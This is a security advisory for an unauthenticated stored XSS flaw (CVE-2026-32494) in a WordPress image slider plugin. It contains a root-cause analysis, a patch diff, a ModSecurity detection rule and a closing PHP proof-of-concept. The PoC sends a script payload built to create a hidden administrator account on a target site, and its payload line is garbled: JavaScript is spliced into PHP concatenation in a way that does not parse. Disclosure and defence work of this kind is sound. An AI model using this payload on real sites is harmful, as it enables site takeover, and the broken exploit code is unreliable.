Atomic Edge analysis of CVE-2026-32494:
The Image Slider by Ays WordPress plugin, versions up to and including 2.7.1, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the plugin’s AJAX handler for deactivating upgrade prompts, allowing attackers to inject malicious scripts that execute in the context of an administrator’s session.
Atomic Edge research identifies the root cause as insufficient security controls in the `deactivate_plugin_option` function within `/admin/class-ays-slider-admin.php`. The vulnerable function, accessible via the `wp_ajax_nopriv_` hook, lacked authentication, authorization, and input validation. It directly echoed user-controlled data from the `$_REQUEST[‘upgrade_plugin’]` parameter without sanitization or output escaping.
The exploitation vector targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. An attacker sends a POST request with the `action` parameter set to `ays_slider_deactivate_plugin_option` and the `upgrade_plugin` parameter containing a malicious JavaScript payload. Since the function registered for both `wp_ajax_` and `wp_ajax_nopriv_` hooks, unauthenticated requests are processed. The function stores the payload in the WordPress database option `ays_slider_upgrade_plugin` and echoes it back in a JSON response, enabling script execution in the admin panel.
The patch in version 2.7.2 introduces multiple security layers. It adds a nonce check via `check_ajax_referer` using the `ays-slider-ajax-deactivate-plugin-nonce`. The patch implements a capability check (`current_user_can(‘manage_options’)`) and a login check (`is_user_logged_in()`). User input is now sanitized with `sanitize_text_field` and escaped for SQL with `esc_sql`. These changes restrict the endpoint to authenticated administrators with appropriate permissions and sanitize the stored data.
Successful exploitation leads to stored XSS attacks. An attacker can inject arbitrary JavaScript that executes whenever an administrator views the plugin’s settings page or other areas where the `ays_slider_upgrade_plugin` option is retrieved and output. This can result in session hijacking, site defacement, or creation of malicious administrator accounts, compromising the entire WordPress installation.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/ays-slider/admin/class-ays-slider-admin.php
+++ b/ays-slider/admin/class-ays-slider-admin.php
@@ -186,11 +186,17 @@
/*
* Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name)
*/
+
+ $ays_slider_ajax_deactivate_plugin_nonce = wp_create_nonce( 'ays-slider-ajax-deactivate-plugin-nonce' );
+
+
$settings_link = array(
'<a href="' . admin_url('options-general.php?page=' . $this->plugin_name) . '">' . __('Settings', $this->plugin_name) . '</a>',
'<a href="https://plugins.ays-demo.com/slider-free-demo/" target="_blank">' . __('Demo', $this->plugin_name) . '</a>',
'<a href="https://ays-pro.com/wordpress/image-slider?utm_source=dashboard&utm_medium=slider-free&utm_campaign=plugins-upgrade-button" class="ays-slider-upgrade-plugin-btn" target="_blank" style="color:#01A32A;font-weight:bold;">' . __('Upgrade 30% Sale', $this->plugin_name) . '</a>',
+ '<input type="hidden" id="ays_slider_ajax_deactivate_plugin_nonce" name="ays_slider_ajax_deactivate_plugin_nonce" value="' . $ays_slider_ajax_deactivate_plugin_nonce .'">',
);
+
return array_merge($settings_link, $links);
}
@@ -233,16 +239,42 @@
}
public function deactivate_plugin_option(){
- error_reporting(0);
- $request_value = $_REQUEST['upgrade_plugin'];
- $upgrade_option = get_option('ays_slider_upgrade_plugin','');
- if($upgrade_option === ''){
- add_option('ays_slider_upgrade_plugin',$request_value);
- }else{
- update_option('ays_slider_upgrade_plugin',$request_value);
+
+ // Run a security check.
+ check_ajax_referer( 'ays-slider-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) );
+
+ // Check for permissions.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
+ }
+
+ if( is_user_logged_in() ) {
+ $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) );
+ $upgrade_option = get_option('ays_slider_upgrade_plugin','');
+ if($upgrade_option === ''){
+ add_option('ays_slider_upgrade_plugin',$request_value);
+ }else{
+ update_option('ays_slider_upgrade_plugin',$request_value);
+ }
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => get_option('ays_slider_upgrade_plugin', '')
+ ));
+ wp_die();
+ } else {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
}
- echo json_encode(array('option'=>get_option('ays_slider_upgrade_plugin','')));
- wp_die();
}
public function register_ays_slider_widget() {
--- a/ays-slider/ays-slider.php
+++ b/ays-slider/ays-slider.php
@@ -16,7 +16,7 @@
* Plugin Name: AYS Slider
* Plugin URI: https://ays-pro.com/index.php/wordpress/image-slider/
* Description: Create Beautifull And Responsive Sliders With Effects
- * Version: 2.7.1
+ * Version: 2.7.2
* Author: Image Slider Team
* Author URI: https://ays-pro.com/
* License: GPL-2.0+
@@ -46,7 +46,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define('AYS_SLIDER_VERSION', '2.7.1');
+define('AYS_SLIDER_VERSION', '2.7.2');
define('AYS_SLIDER_NAME', 'ays-slider');
/**
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32494
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10032494,phase:2,deny,status:403,chain,msg:'CVE-2026-32494 via Image Slider by Ays AJAX - Unauthenticated Stored XSS',severity:'CRITICAL',tag:'CVE-2026-32494',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule ARGS_POST:action "@streq ays_slider_deactivate_plugin_option" "chain"
SecRule &ARGS_POST:_ajax_nonce "@eq 0" "chain"
SecRule ARGS_POST:upgrade_plugin "@rx <script"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32494 - Image Slider by Ays- Responsive Slider and Carousel <= 2.7.1 - Unauthenticated Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Malicious JavaScript payload to execute in admin context.
// This payload creates a new administrator user.
$payload = '"><script>jQuery.ajax({url:"/wp-admin/user-new.php",type:"POST",data:{action:"createuser",_wpnonce_create_user:"',
. fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>t.match(/name="_wpnonce_create_user" value="([^"]+)"/)[1]),
. '",email:"attacker@example.com",pass1:"P@ssw0rd123",pass2:"P@ssw0rd123",role:"administrator",user_login:"hacked_admin"}});</script>';
$post_data = array(
'action' => 'ays_slider_deactivate_plugin_option',
'upgrade_plugin' => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, $payload) !== false) {
echo "[+] Exploit likely succeeded. Payload stored in option 'ays_slider_upgrade_plugin'.n";
echo "[+] Response: " . htmlspecialchars($response) . "n";
} else {
echo "[-] Exploit may have failed. HTTP Code: $http_coden";
}
?>